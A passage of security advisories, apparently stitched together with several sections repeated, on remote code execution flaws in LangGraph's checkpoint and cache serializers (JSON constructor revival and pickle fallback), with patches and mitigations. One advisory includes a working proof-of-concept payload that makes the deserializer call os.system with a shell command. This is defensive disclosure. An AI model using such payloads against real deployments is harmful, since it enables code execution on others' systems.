• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.

Summary

LangGraph's JsonPlusSerializer can reconstruct Python objects from JSON checkpoint payloads. Under conditions where someone could modify checkpoint bytes at rest in the backing store, the deserialization path could reconstruct objects beyond what the application expects, which could in turn result in code execution at checkpoint load time.

This is a defense-in-depth issue. The affected behavior is reachable only when checkpoint bytes at rest in the backing store can be modified by an unauthorized party. In most deployments that prerequisite already implies a serious incident; the additional concern is turning "checkpoint-store write access" into code execution in the application runtime.

There is no evidence of this behavior being triggered in the wild, and the team is not aware of a practical path to it in existing deployments today. This change is intended to reduce the surface available after a checkpoint-store incident.

Affected users / systems

Users may be affected if they:

• use a persistent checkpointer (database, remote store, shared filesystem, etc.) with the default JsonPlusSerializer,
• load/resume from checkpoints, and
• operate in an environment where write access to the checkpoint store could be obtained by an unauthorized party.

The default checkpoint serializer in all shipped checkpointer backends (PostgresSaver, SqliteSaver, and their async counterparts) is JsonPlusSerializer, so applications generally do not need to opt in to be in scope.

Impact

• Potential arbitrary code execution or other unsafe side effects during checkpoint deserialization.
• Escalation from "write access to the checkpoint store" to "code execution in the LangGraph worker process," which may expose runtime secrets or provide access to other systems the runtime can reach.

Patches / mitigation

The JSON deserialization path has been narrowed so that revival is restricted to default-constructor reconstruction using the args/kwargs carried in the payload. The framework's own encoder has not relied on the removed behavior for produced checkpoints since the msgpack migration, so this change does not affect freshly written checkpoints. Legacy payloads that already used the default constructor as their first option continue to revive correctly via that same path.

Compatibility

A narrow legacy-resume regression applies to pre-October-2025 checkpoints of pydantic models where the original payload depended on a no-validation fallback factory to recover from incompatible schema evolution. After this change, such payloads return None from the revival path and fall through to the langchain-core reviver, which surfaces the raw dict rather than reconstructing the model.

Operational guidance

• Treat checkpoint stores as integrity-sensitive. Restrict write access and rotate credentials if unauthorized access is suspected.
• Avoid providing custom JSON revival hooks that reconstruct arbitrary types unless checkpoint data is fully trusted.

LangSmith / hosted deployments note

The team is not aware of this issue presenting concern for existing LangSmith-hosted deployments. The described conditions require modification of the checkpoint persistence layer used by the deployment; typical hosted configurations are designed to prevent such access.

First reported by: pucagit (CyStack).

Context

A Remote Code Execution vulnerability exists in LangGraph's caching layer when applications enable cache backends that inherit from BaseCache and opt nodes into caching via CachePolicy. Prior to langgraph-checkpoint 4.0.0, BaseCache defaults to JsonPlusSerializer(pickle_fallback=True). When msgpack serialization fails, cached values can be deserialized via pickle.loads(...).

Who is affected?

Caching is not enabled by default. Applications are affected only when:

• The application explicitly enables a cache backend (for example by passing cache=... to StateGraph.compile(...) or otherwise configuring a BaseCache implementation)
• One or more nodes opt into caching via CachePolicy
• The attacker can write to the cache backend (for example a network-accessible Redis instance with weak/no auth, shared cache infrastructure reachable by other tenants/services, or a writable SQLite cache file)

Example (enabling a cache backend and opting a node into caching):

from langgraph.cache.memory import InMemoryCache
from langgraph.graph import StateGraph
from langgraph.types import CachePolicy


def my_node(state: dict) -> dict:
    return {"value": state.get("value", 0) + 1}


builder = StateGraph(dict)
builder.add_node("my_node", my_node, cache_policy=CachePolicy(ttl=120))
builder.set_entry_point("my_node")

graph = builder.compile(cache=InMemoryCache())

result = graph.invoke({"value": 1})

With pickle_fallback=True, when msgpack serialization fails, JsonPlusSerializer can fall back to storing values as a ("pickle", <bytes>) tuple and later deserialize them via pickle.loads(...). If an attacker can place a malicious pickle payload into the cache backend such that the LangGraph process reads and deserializes it, this can lead to arbitrary code execution.

Exploitation requires attacker write access to the cache backend. The serializer is not exposed as a network-facing API.

This is fixed in langgraph-checkpoint>=4.0.0 by disabling pickle fallback by default (pickle_fallback=False).

Impact

Arbitrary code execution in the LangGraph process when attacker-controlled cache entries are deserialized.

Root Cause

• BaseCache default serializer configuration inherited by cache implementations (InMemoryCache, RedisCache, SqliteCache):

  • libs/checkpoint/langgraph/cache/base/__init__.py (pre-fix default: JsonPlusSerializer(pickle_fallback=True))

• JsonPlusSerializer deserialization sink:

  • libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py
  • loads_typed(...) calls pickle.loads(data_) when type_ == "pickle" and pickle fallback is enabled

Attack preconditions

An attacker must be able to write attacker-controlled bytes into the cache backend such that the LangGraph process later reads and deserializes them.

This typically requires write access to a networked cache (for example a network-accessible Redis instance with weak/no auth or shared cache infrastructure reachable by other tenants/services) or write access to local cache storage (for example a writable SQLite cache file via permissive file permissions or a shared writable volume).

Because exploitation requires write access to the cache storage layer, this is a post-compromise / post-access escalation vector.

Remediation

• Upgrade to langgraph-checkpoint>=4.0.0.

Resources

• ZDI-CAN-28385
• Patch: https://github.com/langchain-ai/langgraph/pull/6677
• Patch diff: https://patch-diff.githubusercontent.com/raw/langchain-ai/langgraph/pull/6677.patch
• Credit: Peter Girnus (@gothburz), Demeng Chen, and Brandon Niemczyk (Trend Micro Zero Day Initiative)

Summary

Prior to langgraph-checkpoint version 3.0 , LangGraph’s JsonPlusSerializer (used as the default serialization protocol for all checkpointing) contains a remote code execution (RCE) vulnerability when deserializing payloads saved in the "json" serialization mode.

If an attacker can cause your application to persist a payload serialized in this mode, they may be able to also send malicious content that executes arbitrary Python code during deserialization.

Upgrading to version langgraph-checkpoint 3.0 patches this vulnerability by preventing deserialization of custom objects saved in this mode.

If you are deploying in langgraph-api, any version 0.5 or later is also free of this vulnerability.

Details

Affected file / component

jsonplus.py

By default, the serializer attempts to use "msgpack" for serialization. However, prior to version 3.0 of the checkpointer library, if illegal Unicode surrogate values caused serialization to fail, it would fall back to using the "json" mode.

When operating in this mode, the deserializer supports a constructor-style format (lc == 2, type == "constructor") for custom objects to allow them to be reconstructed at load time. If an attacker is able to trigger this mode with a malicious payload, deserializing allow the attacker to execute arbitrary functions upon load.

Who is affected

This issue affects all users of langgraph-checkpoint versions earlier than 3.0 who:

1. Allow untrusted or user-supplied data to be persisted into checkpoints, and
2. Use the default serializer (or explicitly instantiate JsonPlusSerializer) that may fall back to "json" mode.

If your application only processes trusted data or does not allow untrusted checkpoint writes, the practical risk is reduced.

Proof of Concept (PoC)

from langgraph.graph import StateGraph 
from typing import TypedDict
from langgraph.checkpoint.sqlite import SqliteSaver

class State(TypedDict):
    foo: str
    attack: dict

def my_node(state: State):
    return {"foo": "oops i fetched a surrogate \ud800"}

with SqliteSaver.from_conn_string("foo.db") as saver:
    graph = (
	    StateGraph(State).
	    add_node("my_node", my_node).
	    add_edge("__start__", "my_node").
	    compile(checkpointer=saver)
	 )
    

    attack = {
        "lc": 2,
        "type": "constructor",
        "id": ["os", "system"],
        "kwargs": {"command": "echo pwnd you > /tmp/pwnd.txt"},
    }
    malicious_payload = {
         "attack": attack,
    }

    thread_id = "00000000-0000-0000-0000-000000000001"
    config = {"thread_id": thread_id}
    # Malicious payload is saved in the first call
    graph.invoke(malicious_payload, config=config)

    # Malicious payload is deserialized and code is executed in the second call
    graph.invoke({"foo": "hi there"}, config=config)

Running this PoC writes a file /tmp/pwnd.txt to disk, demonstrating code execution.

Internally, this exploits the following code path:

from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer

serializer = JsonPlusSerializer() # Used within the checkpointer

serialized = serializer.dumps_typed(malicious_payload)
serializer.loads_typed(serialized)  # Executes os.system(...)

Fixed Version

The vulnerability is fixed in langgraph-checkpoint==3.0.0

Release link: https://github.com/langchain-ai/langgraph/releases/tag/checkpoint%3D%3D3.0.0

Fix Description

The fix introduces an allow-list for constructor deserialization, restricting permissible "id" paths to explicitly approved module/class combinations provided at serializer construction.

Additionally, saving payloads in "json" format has been deprecated to remove this unsafe fallback path.

Mitigation

Upgrade immediately to langgraph-checkpoint==3.0.0.

This version is fully compatible with langgraph>=0.3 and does not require any import changes or code modifications.

In langgraph-api, updating to 0.5 or later will automatically require the patched version of the checkpointer library.